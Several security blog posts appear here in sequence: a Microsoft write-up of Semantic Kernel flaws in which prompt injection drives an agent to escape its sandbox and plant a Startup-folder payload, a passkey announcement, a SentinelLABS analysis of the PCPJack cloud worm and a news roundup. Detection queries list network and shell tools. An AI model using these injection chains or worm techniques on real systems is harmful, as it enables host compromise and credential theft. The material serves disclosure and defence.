Second, hunt for host-level post-exploitation signals during that vulnerable window. Because successful exploitation results in code execution on the host, the most useful evidence is in endpoint telemetry: suspicious child processes, outbound connections, or persistence artifacts created by the agent host process. We provide a set of practical advanced hunting queries for further investigation in a separate section of this blog.

If you find suspicious activity during that window, treat it as a potential host compromise. Review the affected host, rotate credentials and tokens accessible to the agent, and investigate what data or systems that host could reach.

CVE-2026-25592: Arbitrary file write through SessionsPythonPlugin

Before diving into the mechanics of this second vulnerability, here is what an agent sandbox escape looks like in practice: with a single prompt, an attacker could bypass a cloud-hosted sandbox, write a malicious payload directly to the host device’s Windows Startup folder, and achieve full RCE.

The container boundary

Semantic Kernel includes a built-in plugin called SessionsPythonPlugin that allows agents to safely execute Python code inside Azure Container Apps dynamic sessions, which are isolated cloud hosted sandboxes with their own filesystem.

The security model relies entirely on this boundary. Code runs in the isolated sandbox and cannot touch the host device where the agent process runs. To help move data in and out of the sandbox, the plugin uses helper functions like UploadFile and DownloadFile, which run on the host side to transfer files across this boundary.

The vulnerability

In the .NET software development kit (SDK), DownloadFileAsync was accidentally marked with a [KernelFunction] attribute, which officially advertised it to the AI model as a callable tool, complete with its parameter schema:

Because of this attribute, the localFilePath parameter, which dictates exactly where File.WriteAllBytes() saves data on the host device, was now entirely AI controlled. With no path validation, directory restriction, or sanitization in place, an attacker wouldn’t need a complex hypervisor exploit; they just needed to prompt the model to do it for them.

(Note: Arbitrary File Read. A similar vulnerability existed in reverse for the upload_file() function across both the Python and .NET SDKs. It accepted any local file path without validation, allowing prompt injections to exfiltrate sensitive host files, like SSH keys or credentials, directly into the sandbox).

Attack chain overview

By chaining two exposed tools, an attacker could turn standard function calling into a sandbox escape:

Step 1: Create the payload

An  injected prompt instructs the agent to use the ExecuteCode tool to generate a malicious script inside the isolated container:

At this point, the payload is contained. It exists only in the sandbox and cannot execute on the host.

Step 2: Escape the sandbox

A second injected instruction tells the AI model to use the DownloadFileAsync tool to download the file to a dangerous location on the host:

The agent calls:

The agent fetches the script from the sandbox’s API and writes it directly to the host’s Windows\Start Menu\Programs\Startup folder.

Step 3: Execute the code

On the next user sign-in, the script runs, granting full host compromise.

This exploit illustrates the MITRE ATLAS technique AML.T0051 (LLM Prompt Injection) cascading into AML.T0016 (Obtain Capabilities).

Exposing DownloadFileAsync provided a direct file write primitive on the host filesystem, effectively negating the container isolation.

The fix and how to defend

Semantic Kernel patched this vulnerability by removing the root cause of tool exposure and adding defense in depth:

Removed AI access – The [KernelFunction] attribute was removed, making the function invisible to the AI model. The AI agent can no longer invoke it, and prompt injection can no longer reach it:

This single change breaks the entire attack chain. The AI can now only be called directly by the developer’s intentional code.

• Path validation – For developers calling the function programmatically, a ValidateLocalPathForDownload() method was added using path canonicalization (Path.GetFullPath()) and directory allowlist matching to ensure the target path falls within permitted directories:

How do I know if I am affected?

Your agent is vulnerable to CVE-2026-25592 if it uses a Semantic Kernel .NET SDK version older than 1.71.0.

Defending the agentic edge

If you use Semantic Kernel, our primary recommendation is to upgrade immediately. You don’t need to rewrite your agent’s architecture; the security updates simply remove the AI model’s ability to trigger these functions autonomously.

More broadly, defending AI agents requires acknowledging that AI models aren’t security boundaries. Security teams must correlate signals across two layers: the AI model level (intent detection through meta prompts and content safety filters) and the host level (execution detection). If an attacker bypasses the AI model guardrails, traditional endpoint defense must be in place to detect anomalous behavior, such as an AI agent process suddenly spawning command lines or dropping scripts into Startup folders.

Not bugs, but developed by design

Untrusted data being used as input for high-risk operations isn’t entirely new. In the early days of web application security, such input was passed directly into SQL queries or filesystem APIs. Today, agents are doing something similar, in that they could map untrusted natural-language input to system tools.

The overarching lesson from both vulnerabilities is that both aren’t bugs in the AI model itself, but rather issues in agent architecture and tool design. We must make a clear distinction between model behavior and agent architecture. The AI model functions exactly as it was designed to: translate intent into structured tool calls.

When models are connected to system tools, prompt injection risks may extend beyond typical chatbot misuse and require additional safeguards. Instead, it becomes a direct path to concrete execution primitives like data exfiltration, arbitrary file writes, and RCE. For a deeper look at the runtime risks of tool-connected AI models, see Running OpenClaw safely: identity, isolation, and runtime risk.

As mentioned previously, your LLM is not a security boundary. The tools you expose define your attacker’s affected scope. Any tool parameter the model can influence must be treated as attacker-controlled input.

In the next blog in this series, we’ll expand beyond Semantic Kernel to explore structurally similar execution vulnerabilities that we found in other widely used third-party agent frameworks.

CTF challenge: Attack your own agent

If you want to see how prompt injections escalate into execution and to put your skills to the test, we’ve packaged the vulnerable hotel-finder agent that we described in this blog into an interactive, hands-on capture-the-flag (CTF) challenge.

This CTF challenge lets you step into the shoes of an attacker and try to exploit the CVE-2026-26030 vulnerability in a controlled environment. You need to craft a prompt injection that not only bypasses the agent’s natural language defenses but also smuggle a Python AST-traversal payload through the vulnerable eval() sink.

To see if you can manipulate the AI model into launching arbitrary code and popping calc.exe on the server, download the challenge, spin it up in a sandbox, and see if you can achieve RCE. Keep in mind that this challenge is for educational purposes only, and shouldn’t be run in production environments.

Reconnaissance:

Exploit (jailbreak and payload):

Note: Because the agent will running locally on your device, calc.exe will open on your desktop. In a real-world scenario, such an executable file will launch remotely on the server hosting the agent.

Download the CTF challenge: https://github.com/amiteliahu/AIAgentCTF/tree/main/CVE-2026-26030

Advanced hunting

The following advanced hunting queries lets you surface suspicious activities from Semantic Kernel agents.

Detect common RCE post-exploitation child processes from Semantic Kernel agent hosts

DeviceProcessEvents
| where Timestamp > ago(30d)
| where InitiatingProcessCommandLine matches regex @"(?i)semantic[\s_\-]?kernel"
    or InitiatingProcessFolderPath matches regex @"(?i)semantic[\s_\-]?kernel"
| where FileName in~ (
    "cmd.exe", "powershell.exe", "pwsh.exe", "bash.exe", "wsl.exe",
    "certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
    "wscript.exe", "cscript.exe", "bitsadmin.exe", "curl.exe",
    "wget.exe", "whoami.exe", "net.exe", "net1.exe", "nltest.exe",
    "klist.exe", "dsquery.exe", "nslookup.exe"
)
| project 
    Timestamp,
    DeviceName,
    AccountName,
    FileName,
    ProcessCommandLine,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    InitiatingProcessFolderPath
| sort by Timestamp desc

Detect .NET hosting Semantic Kernel that spawns suspicious children

DeviceProcessEvents
| where Timestamp > ago(30d)
| where InitiatingProcessFileName in~ ("dotnet.exe")
| where InitiatingProcessCommandLine matches regex @"(?i)(semantic[\s_\-]?kernel|SKAgent|kernel\.run)"
| where FileName in~ (
    "cmd.exe", "powershell.exe", "pwsh.exe", "bash.exe",
    "certutil.exe", "curl.exe", "whoami.exe", "net.exe"
)
| project 
    Timestamp,
    DeviceName,
    AccountName,
    FileName,
    ProcessCommandLine,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine
| sort by Timestamp desc

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 

The post When prompts become shells: RCE vulnerabilities in AI agent frameworks appeared first on Microsoft Security Blog.

World Passkey Day is a chance to reflect on progress toward a shared goal: reducing our reliance on passwords and other phishable authentication methods by accelerating passkey adoption. As cyberattacks become more automated and AI-powered, each account is only as secure as its weakest credential. Real progress requires more than adding stronger sign-in options—it requires removing phishable credentials and strengthening common attack paths like recovery flows. In partnership with the FIDO Alliance, Microsoft is committed to advancing passkey adoption through ongoing standards work, active participation in working groups, and other contributions to a passwordless future.

Passwords remain a major source of risk; they’re difficult to manage and easy to steal. Along with weaker forms of multifactor authentication, they’re also highly vulnerable to phishing: AI-powered campaigns drive click-through rates as high as 54%.¹ In response, Microsoft is expanding passkey adoption across our ecosystem. We’re reducing reliance on legacy authentication and strengthening account recovery so it won’t become a backdoor for cyberattackers.

Passkey adoption continues to grow industry wide

Passkey adoption is accelerating: FIDO Alliance estimates 5 billion passkeys already in use worldwide.² Across Microsoft’s consumer services, including OneDrive, Xbox, and Copilot, hundreds of millions of users sign in with passkeys every day.

There are many reasons to choose passkeys as the standard authentication method over passwords. Sign-in success rates are significantly higher than with passwords, and exposure to credential-based attacks is significantly lower.³ Organizations and individual users alike prefer the simpler, more secure sign-in experience passkeys offer.⁴

Inside Microsoft, we’ve eliminated weaker authentication methods and rolled out phishing-resistant authentication, covering 99.6% of users and devices in our environment.⁵ It’s made signing in a lot simpler: no codes to enter, no extra prompts to manage, just a straightforward experience for everyone.

Product updates across sign-in and recovery

Across Microsoft, we’ve been steadily building passkey support into every layer of the identity experience from consumer accounts to enterprise access with Microsoft Entra, and from device-based authentication like Windows Hello to Microsoft’s password manager. This work ensures people can create and use passkeys wherever they sign in, with a consistent, phishing-resistant experience across devices, apps, and environments.

To make passkeys more accessible, we’re expanding where and how people can use them:

• Synced passkeys and passkey profiles in Microsoft Entra ID make it easier to scale passwordless sign-in across diverse environments. We’re expanding flexibility in cloud passkey management, including support for larger and more complex policies, and transitioning tenants to a unified passkey profile model.
• Entra passkeys on Windows make it simple for users to create and use device-bound passkeys directly on personal or unmanaged Windows devices using Windows Hello, and will be generally available in late May 2026.
• Passkeys for Microsoft Entra External ID will be generally available late May 2026, so your customer-facing applications can offer a more seamless, consumer-grade sign-in experience.
• Passkey-preferred authentication in Microsoft Entra ID (preview) detects registered methods and prompts the strongest one first. If a passkey is registered, that’s what the user sees—immediately. 
• On the consumer side, with Microsoft Password Manager, users can now save and sync passkeys across devices signed in with their Microsoft account, with support for iOS and Android rolling out soon through Microsoft Edge. 

Account recovery also plays a critical role in maintaining the integrity of identity systems. Historically, it’s been vulnerable to cyberattackers who try to hijack the recovery process, for example by impersonating legitimate users and requesting new credentials.

Microsoft Entra ID account recovery, generally available today, strengthens security for recovery flows by enabling users to regain access to their accounts through a robust identity verification process. Users can regain access after losing all authentication methods by using government-issued ID and biometric face checks. At general availability, we are expanding our identity verification ecosystem with two new partners—1Kosmos and CLEAR1—joining our existing partners Au10tix, IDEMIA, and TrueCredential. 

Removing phishable credentials from user accounts

Strengthening authentication is important, but reducing risk means eliminating phishable credentials entirely. Microsoft is continuing to phase out legacy methods and move users toward phishing-resistant authentication. Starting in January 2027, security questions will be removed as a password reset option in Microsoft Entra ID due to their susceptibility to guessing and social engineering.

The rationale is straightforward: improving strong methods while removing weak ones shrinks the attack surface. This is increasingly urgent as AI agents act on behalf of users. If an identity is compromised, cyberattackers can leverage those agents to access systems, execute workflows, and operate within existing permissions. Organizations need to address this risk quickly.

A more secure and usable future

Last year, Microsoft joined dozens of organizations in taking the Passkey Pledge, a commitment to accelerating the adoption of phishing-resistant authentication and to moving beyond passwords. Since then, we’ve seen meaningful progress, from hundreds of millions of better-protected consumer accounts to large-scale deployments across organizations like our own.

What once felt like a long-term shift is finally gaining real momentum: authentication is becoming simpler, safer, and passwordless.

For a more in-depth perspective on how cyberattackers try to bypass authentication through fallback methods and recovery flows—and how to address those gaps—read our companion post.

Getting started

Organizations that want to strengthen their identity security posture can enable passkeys for their users and extend policy protections across both sign-in and recovery scenarios.

Get started with a phishing-resistant passwordless authentication deployment in Microsoft Entra ID.

Individuals can create and use passkeys for their personal accounts for better security and convenience.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

¹Microsoft Digital Defense Report 2025.

²FIDO Alliance reports mainstream global usage on World Passkey Day. FIDO Alliance, 2026.

³Synced passkeys and high assurance account recovery, Microsoft Entra blog. December 16, 2025.

⁴FIDO Alliance Champions Widespread Passkey Adoption and a Passwordless Future on World Passkey Day 2025, FIDO News Center. May 1, 2025.

⁵Microsoft Security and Future Initiative (SFI) Progress Report—November 2025.

The post World Passkey Day: Advancing passwordless authentication appeared first on Microsoft Security Blog.

Executive Summary

• SentinelLABS has identified PCPJack, a credential theft framework that worms across exposed cloud infrastructure and removes artifacts associated with TeamPCP,  a threat actor persona who claimed several high-profile supply chain intrusions throughout early 2026.
• The toolset harvests credentials from cloud, container, developer, productivity, and financial services, then exfiltrates the data through attacker-controlled infrastructure while attempting to spread to additional hosts.
• PCPJack targets exposed services including Docker, Kubernetes, Redis, MongoDB, RayML, and vulnerable web applications, enabling both external propagation and lateral movement inside victim environments.
• Unlike typical cloud-focused malware, PCPJack does not deploy cryptominers; the services it targets suggest monetization through credential theft, fraud, spam, extortion, or resale of stolen access.

Overview

On 28 April 2026, SentinelLABS located a script through a Kubernetes-focused VirusTotal hunting rule that stood out from known cloud hacktools: the script’s first actions are to evict and delete tools associated with the TeamPCP attack group, leading us to call the toolset PCPJack. Analyzing this script led us to discover a full framework dedicated to cloud credential harvesting and propagating onto other systems, both internal and external to the victim’s environment.

TeamPCP stood out in early 2026 following the group’s February compromise of Aqua Security’s Trivy vulnerability scanner. The incident enabled several downstream attacks, including the compromise of LiteLLM, an open-source library that routes requests across widely used LLM providers. TeamPCP also announced a partnership with the VECT ransomware group to monetize the data stolen through their cloud environment attacks.

Many of the services targeted by the PCPJack framework are similar to the early TeamPCP/PCPCat campaigns from December 2025, before the high-visibility campaigns of early 2026 brought significant attention to TeamPCP and purportedly led to changes in group membership. We believe this could be a former operator who is deeply familiar with the group’s tooling.

The types of credentials collected by the framework suggest PCPJack’s targeting motivations are primarily to conduct spam campaigns and financial fraud, or to simply monetize stolen credentials to actors with these focuses. The inclusion of enterprise productivity software like Slack and business database services expands the focus to extortion attacks. Notably, neither of the two toolsets we identified from the attacker’s staging server performed any cryptocurrency mining, a stark departure from typical multi-disciplinary cloud attack campaigns.

First Toolset | bootstrap.sh & Python Worms

The infection begins with bootstrap.sh, a shell script designed for Linux systems. This script serves only to set up the environment and download additional payloads. bootstrap.sh sets several key variables, including PAYLOAD_HOST, which is set to hxxps://spm-cdn-assets-dist-2026[.]s3[.]us-east-2[.]amazonaws[.]com, a legitimate Amazon Simple Storage Service (S3) resource that was likely registered by the attacker for unauthorized purposes.

The main functionality of bootstrap.sh is:

1. Create /var/lib/.spm/ working directory
2. Check public IP against operator’s blocklist: this prevents the attacker from infecting their own infrastructure
3. Find and remove processes or artifacts that match naming conventions referencing TeamPCP or PCPcat process list, services, paths, or containers
4. Install Python 3.6+ via available package manager: apk, apt, dnf, pacman, yum or zypper
5. Create a Python virtual environment and install requests, cryptography, and pyarrow
6. Download six Python modules from the attacker’s S3 URL in the following order: worm.py, parser.py, lateral.py, crypto_util.py, cloud_ranges.py, cloud_scan.py
7. Rename modules to their on-disk names (see the list of downloaded payloads below)
8. Establish persistence:
   1. If run as root: create sys-monitor.service, which runs monitor.py, aka worm.py, an orchestrator script
   2. If not root, create two crontabs: one runs every 5 minutes to check if monitor.py is running, the other starts monitor.py if it is not running
9. Launch monitor.py
10. Self delete using rm -f "$0"

The following table itemises the downloaded payloads:

The logic targeting TeamPCP files stands out: each of the artifacts has been associated with TeamPCP in public reporting, though BORING_SYSTEM is mentioned only sparsely. We initially considered that this toolset could be a researcher removing TeamPCP’s infections. However, analysis of the later-stage payloads indicates otherwise. When exfiltrating system information and credentials, the PCPJack operator even collects success metrics on whether TeamPCP has been evicted from targeted environments in a “PCP replaced” field sent to the C2.

Infection Flow

The infection begins with bootstrap.sh, which executes the orchestrator script, monitor.py (aka worm.py). The orchestrator imports a set of purpose-built modules for credential parsing (utils.py), lateral movement (_lat.py), C2 message encryption (_cu.py), cloud IP range lookups (_cr.py), and cloud scanning (_csc.py).

Rather than let the modules find their own dependencies, the orchestrator injects them at runtime with shared references, ensuring all components operate with the same credential and movement handles without hardcoding inter-module imports.

The scanning module, _csc.py, receives the lateral movement engine, the cloud range lookup function, and the credential parser all via injection from the worm. This design keeps each module independently minimal while the orchestrator alone holds the full dependency graph, making the framework harder to analyze in isolation. No single imported file reveals the complete picture without visibility into monitor.py.

Sensitive strings are stored in the source code as a hex-encoded blob instead of clear text. When a script runs, it obtains the actual value by calling function _d(), which is near the top of each Python module, against the encoded hex string containing the sensitive content.

The function decrypts it by XORing each byte against the MD5 hash of the string urllib3.poolmanager, a name chosen to look like a reference to a common Python web library. PCPJack’s author encrypted the constants that would immediately identify the malware’s infrastructure. Despite this, the actor failed to encrypt the Telegram bot token in bootstrap.sh and the credential decryption key in crypto_util.py, so the operational security awareness only goes so far.

monitor.py | Orchestrator Script

The monitor.py script, which was hosted on the attacker’s staging server as worm.py and had persistence established by bootstrap.sh, is the main script driving the toolset. The script starts with logic designed to make the script appear like a benign system monitoring utility that collects metrics about the system.

While this is valuable information for the attacker, we believe it is an attempt to help the script blend in if spotted by an administrator, given that the posted information also includes data about the types of systems being targeted by the toolset.

Local Credential Theft

On each compromised host, monitor.py executes a shell pipeline that steals:

• .env files and config files
• Environment variables filtered for secrets, API keys, DB & SMTP creds
• SSH private keys and targets from known_hosts, ~/.ssh/config, and bash history
• AWS IMDS credentials
• Kubernetes service account tokens
• Docker secrets (/run/secrets/)
• Cryptocurrency wallets (wallet.dat files, Ethereum keystores, Solana keys)

A separate scan walks the local /etc, /home, /opt, /root, /srv, /var/lib , and /var/www directories looking for config or secret files, and _mgr searches through git history for deleted secrets. The results are parsed by utils.py.

Target Selection & Propagation

After credential extraction, the command checks for prior installation (/var/lib/.spm/worm.py or /var/lib/.spm/monitor.py) and, if clean, downloads and executes bootstrap.sh from the C2 payload host.

Propagation targets come from parquet files that the worm downloads directly from Common Crawl, a legitimate web scan archival nonprofit with a rich history of furnishing AI models with vast amounts of training data harvested from the web. The URL is extracted from obfuscated variables _CI and _CB.

The tool picks parquet files containing url_host_name columns, and iterates through those hostnames. Each monitor.py node gets a window of parquet files based on the date or a seed index (SPM_SEED_IDX), which gives the attacker distributed coverage without central coordination. A deduplication set, variable _sh, is stored in memory to prevent re-scanning. This list is capped at 15 million entries.

This module spreads the toolset to targets by exploiting several vulnerabilities in web technologies, including the ubiquitous React2Shell flaw:

Command & Control

The framework uses Telegram for C2. An infected system posts data to one channel and checks another to receive commands from a pinned message. Most of the commands are self-explanatory. RUN downloads a module from the attacker’s payload storage, saves it as run_script.py, and executes the script. The PARQUET command gives the node a new index to parse from the parquet file, meaning the operator can manually override previously chosen attack ranges.

utils.py | Credential Extractor

This script handles credential extraction using regular expressions to identify and categorize stolen keys and secrets. The logic centers on a wide variety of online services, many of which pertain to bulk messaging services, cryptocurrency/FinTech, cloud or web application services.

Finance & Enterprise

SMTP & Bulk Messaging Services

Web & Cloud Services

Interestingly, the actor’s regular expression matching includes credentials for FTX, a crypto exchange that went bankrupt in a high-profile case in 2022. This suggests the actor adapted the matching logic from an older tool, or that it was inserted erroneously through LLM code generation.

lateral.py | Internal Network Lateral Movement

The lateral.py or _lat.py script performs reconnaissance on the infected system and the assets it connects to, enabling internal propagation. The script runs only once and writes a lateral_done file to the working directory; if that file is found, the script exits. This is likely to improve stealth and reduce the likelihood of network security alerts.

The Kubernetes spreading logic _lk checks for a Kubernetes service account token, which is present inside pods mounted in a cluster, then uses the service account to authenticate with the Kubernetes management API to enumerate namespaces and pods in the cluster. The script runs commands against each container to:

• Extract credentials from a list of file names and paths associated with secret stores
• Harvest SSH private keys
• Query the AWS Instance Metadata Service (IMDS); this works only in environments where IMDSv2 is not strictly enforced and goes against modern default configurations and best practices

_lk also reads Kubernetes Secrets and ConfigMaps directly via the API, base64-decodes their values, which works even when pod execution is denied by role-based access controls (RBAC). Lastly, it attempts a container escape by mounting the host filesystem to a new container, enabling the attacker’s tools to interact with the host system.

The Docker propagation function _ld checks for the local Docker socket at /var/run/docker.sock, then scans the network for services running on ports 2375 or 2376. When found, the script connects to the Docker API through the management daemon, lists all running containers, and executes the same credential harvesting script as seen in the Kubernetes routine. If connected to a remote host, the spreader will bind-mount the root filesystem of the machine running the Docker management service to the remote instance’s /host path, which creates a container escape.

When Redis is found, _rec dumps the configuration, then calls the Redis KEYS command to scan database key names for secrets, passwords, tokens, and API keys, and GETs their values. For persistence, _rwc performs a Redis cron rewrite, resulting in a cron job that fires bootstrap.sh every 5 minutes as root.

lateral.py targets several other services running within the victim’s environment:

• RayML Clusters: scans port 8265, submits a Python job via the API to extract credentials and download bootstrap.sh
• MongoDB: scans port 27017, enumerates databases & extracts credentials

The SSH propagation module _ls searches SSH key store locations on the infected machine and parses  ~/.ssh/known_hosts, ~/.ssh/config, and .bash_history for username and host combinations. It then pulls SSH keys from harvest.jsonl, a file containing credentials found by other lateral movement techniques earlier. These combinations are tried against any hosts running SSH. On access, it runs bootstrap.sh on the remote machine to propagate the worm.

crypto_util.py | Data Encryption

PCPJack’s framework uses the crypto_util.py (aka _cu.py, imported as a module named _crypto) script to encrypt credentials. It is called by monitor.py to exfiltrate the encrypted data before it is sent to the attacker’s Telegram channel.

The encrypt_message function:

• Generates an X25519 keypair for each message chunk
• Performs ECDH against a hardcoded attacker public key set to variable _RPK = "6d4imqQ/s/GfQCVcybdcjfTe/PMYHtZN8ZGHnEXSbRo="
• Uses the raw shared secret directly as a ChaCha20-Poly1305 key to encrypt the data
• Splits output into 2800-byte chunks: the __main__ test block validates against Telegram’s 4096-character message limit
• Packs each encrypted chunk by concatenating the ephemeral public key (32 bytes), a random nonce (12 bytes), and the ciphertext, then base64-encodes the result and prepends a emoji

If the cryptography library is not installed, the function silently falls back to sending plaintext, meaning credentials may be exfiltrated unencrypted during some infections.

The decrypt_message function requires the private key corresponding to variable _RPK. The test keypair in __main__ (PRIVATE_KEY) is a matching test pair. If a researcher could access the attacker’s Telegram channel, there is a reasonable chance they could decrypt the stolen credentials sent to the channel. During our testing, the Telegram API responded that the bot token was invalid, although the malware was actively hosted and being distributed during this time.

cloud_ranges.py | Cloud Service Provider IPs

The cloud_ranges.py (aka _cr.py) module is relatively small and simple: it collects a list of IP addresses assigned to AWS, Azure, Cloudflare, Cloudfront, Fastly, and Google Cloud Platform (GCP). The approach is to query URLs from each provider that host information about the cloud service IP ranges, which change periodically.

This allows the attacker to avoid hardcoding IPs into the script which may be outdated. Once the information is retrieved, the cloud ranges are written to a file at /var/lib/.spm/_cr/ranges.json. The data is refreshed every 24 hours.

cloud_scan.py | External Propagation

The final module is cloud_scan.py (aka _csc.py), which scans external cloud services and attempts to propagate by looking for ports indicating exposed Docker, Kubernetes, MongoDB, RayML, or Redis services.

When a target responds on a matching port, cloud_scan.py scans the entire /24 subnet for the responding IP and runs infection logic imported from lateral.py.

For Docker, Redis, and RayML targets, this includes installing persistence via bootstrap.sh. Docker is targeted through a privileged container with host escape, Redis through cron injection, and RayML through a weaponized job submission.

Kubernetes and MongoDB targeting results only in credential harvesting. cloud_scan.py queries unauthenticated Kubernetes API endpoints to dump secrets and it scrapes MongoDB collections for credentials, but does not establish persistence.

Infrastructure

bootstrap.sh contains a hardcoded list of attacker infrastructure IPs excluded from targeting. Perhaps a nostalgic nod to the presumed retired cloud attack group TeamTNT, each of these IPs are VPS servers geolocated to Germany. Given the complex dynamics that could drive this attacker to focus on killing processes associated with TeamPCP activity, it is reasonable to scrutinize whether these IPs actually belong to the attacker behind PCPJack.

• 38.242.204[.]245
• 38.242.237[.]196
• 38.242.245[.]147
• 83.171.249[.]231
• 161.97.129[.]25
• 161.97.135[.]154
• 161.97.163[.]87
• 161.97.186[.]175
• 161.97.187[.]42
• 193.187.129[.]143
• 213.136.80[.]73

The IPs are relatively minimal in their online footprint, but the available data suggests management infrastructure and potentially different malicious activity. 38.242.245[.]147 has hosted lastpass-login-help[.]com, clearly a phishing domain to harvest LastPass master credentials: a motive that aligns with this toolsets heavy credential harvesting focus.

Second Toolset | Credential Harvester & Sliver Beacons

We also identified another toolset on the attacker’s payload delivery server unrelated to the previous one. The file check.sh is an 858-line shell script that handles everything before the beacon phones home. The script detects CPU architecture and pulls the matching Sliver binary: update.bin, update-386.bin, or update-arm.bin, depending on the system architecture.

The binary is saved locally as /var/tmp/apt-daily-upgrade to blend in with system processes. Simultaneously, check.sh sweeps IMDS endpoints, Kubernetes service accounts, Docker instances, and /proc/*/environ for credentials from 30+ services, many through a dropped Python script called  extractor.py.

Targets include many services covered by the bootsrap.sh framework, with several standout new additions: Anthropic, Digital Ocean, Discord, Google API, Grafana Cloud, HashiCorp Vault, OnePassword, and OpenAI keys.

The script then exfiltrates stolen data to hxxps://cdn[.]cloudfront-js[.]com:8443/u, a typosquatted domain mimicking CloudFront, over ports 443 or 8443. It finishes by SSH-spraying up to 10 lateral targets before self-deleting.

Sliver ELF Binaries

The update binaries are Sliver C2 beacons compiled with the garble obfuscation tool, which scrambles Go type names and removes build metadata to hinder signature-based detection. Despite the obfuscation, several indicators remained across the analyzed binaries: protobuf field tags (name=BeaconID), interface method names (GetC2URI, GetBeaconInterval), and multiple Sliver-specific RPC strings including PivotListener, PivotPeerEnvelope, WGSocksServer, and WGTCPForwarder among others.

The binaries form a deployment set: update.bin, the 64-bit variant, targets modern Intel-based cloud infrastructure and includes CPU feature detection for Intel Sapphire Rapids, a powerful processor present in many cloud environments.

update-386.bin is a 32-bit variant that serves as a capability-identical fallback for legacy servers or 32-bit containers.

update-arm.bin is designed for ARM processors. Interestingly, each of the binaries have different garble seeds, meaning they were compiled separately and hinders conclusive attribution to the same developer.

Conclusion

Overall, the two toolsets are well developed and indicate that the owner values making code as a modular framework, despite some redundancies in behavior. The occasional operational security lapses were interesting, particularly their choice to encrypt everything except for Telegram credentials and their own alleged infrastructure.

In the threat actor ecosystem, there is constant churn and turnover between groups: something TeamPCP alluded to before their main social media account was suspended.

We have no evidence to suggest whether this toolset represents someone associated with the group or familiar with their activities. However, the first toolset’s focus on disabling and replacing TeamPCP’s services implies a direct focus on the threat actor’s activities rather than pure cloud attack opportunism. There are plenty of other cloud credential harvesting campaigns which have other forensic artifacts that could be considered when performing a pre-installation cleanup early during an intrusion.

Compared to similar cloud threat actors, PCPJack stands out for its complete lack of cryptominers in all tooling we analyzed. Nearly all moderately-sophisticated cloud threat campaigns deploy XMRig or similar at some point, including several of TeamPCP’s campaigns. This campaign does not, and it deliberately removes the miner functions associated with TeamPCP. Desite that, this actor has well-defined scopes for extracting cryptocurrency credentials.

Mitigations and Recommendations

The impacts of PCPJack and similar toolsets range from data exposure and extortion to financial impacts of an attacker with access to high-limit, enterprise API services.

Organizations can defend against these threats by adhering to cloud and web application security best practices. Credential management will mitigate the majority of these credential harvesting techniques: use an enterprise-wide vault or secret management service and ensure access to those stores is never stored to a file saved in clear text.

Ensure that authentication mechanisms follow industry standards: require MFA from service accounts rather than an API key alone. In AWS environments, ensure that IMDSV2 is enforced across all services to prevent credential theft and consider allow-listing downloads only from approved S3 resources.

Even when systems are not exposed to the internet, ensure authentication is required to manage services like Docker and Kubernetes, as these are popular lateral movement targets which can enable much deeper access through connected nodes, and restrict scopes on Kubernetes service accounts to adhere to the principle of least privilege.

Indicators of Compromise

Domains

IP Addresses
The following IP addresses are hardcoded into bootstrap.sh and labelled as attacker infrastructure:

File Hashes | SHA-1

File System

HTTP Request Indicators

Strings

The Good | Courts Sentence Karakurt Ransomware Negotiator & Two DPRK IT Worker Scheme Facilitators

Federal authorities have successfully secured a nearly nine-year prison sentence for Deniss Zolotarjovs, a Latvian national extradited to the U.S. for his critical role in the Karakurt extortion syndicate.

Operating as a specialized “cold case” negotiator, Zolotarjovs (aka Sforza_cesarini) systematically targeted victims who had previously stopped communications with the extortion group to avoid paying the ransom. To coerce the ransom payments, he focused on analyzing stolen personal data and information about the target companies to exert intense psychological pressure on the victims. In some cases, Zolotarjovs resorted to leveraging sensitive health information, including children’s medical records, to force the victim to complete the ransom payment.

The broader Karakurt operation has extorted an estimated $56 million from dozens of compromised organizations. As the first Karakurt member to face federal prosecution, Zolotarjovs’s sentencing is a hard-won milestone in ongoing efforts to dismantle international cyber-extortion rings.

In a separate victory, U.S. prosecutors sentenced two American nationals to 18 months in prison each for operating extensive laptop farms that actively facilitated North Korean cyber infiltration.

Matthew Knoot and Erick Prince were prosecuted for helping DPRK-based IT workers secure remote employment at almost 70 U.S. companies by exploiting stolen identities. The pair received company-issued laptops and deployed unauthorized remote desktop software, allowing the North Korean workers to seamlessly masquerade as legitimate domestic employees.

The FBI continues to warn about the thousands of North Korean IT workers working to infiltrate U.S. firms to steal intellectual property, implant malware, and siphon funds to the heavily sanctioned regime.

The Bad | PCPJack Worm Evicts TeamPCP, Steals Cloud Credentials at Scale

SentinelLABS researchers this week exposed PCPJack, a sophisticated credential theft framework and cloud worm that targets public infrastructure to harvest sensitive data.

Unlike other known cloud hacktools, the toolset actively hunts, evicts, and systematically deletes artifacts associated with TeamPCP, a threat group responsible for multiple high-profile supply chain intrusions earlier this year.

The multi-stage infection chain begins with a shell script called bootstrap.sh, which establishes persistence and selectively downloads specialized Python modules from an attacker-controlled Amazon S3 bucket. The malware extracts a massive array of sensitive credentials, including cloud access keys, Kubernetes service account tokens, Docker secrets, enterprise productivity application tokens, and cryptocurrency wallets. Unlike typical cloud-focused threat campaigns, PCPJack does not deploy cryptomining payloads on victims.

To achieve lateral movement, the framework exploits a number of web vulnerabilities, including severe Next.js and WordPress flaws, while aggressively scanning for poorly secured Docker, Redis, RayML, and MongoDB instances. Stolen data is then encrypted before being exfiltrated via attacker-controlled Telegram channels.

Security teams are advised to strictly enforce multi-factor authentication on service accounts, restrict Kubernetes access scopes, use an enterprise-wide vault, and thoroughly secure all exposed cloud management interfaces.

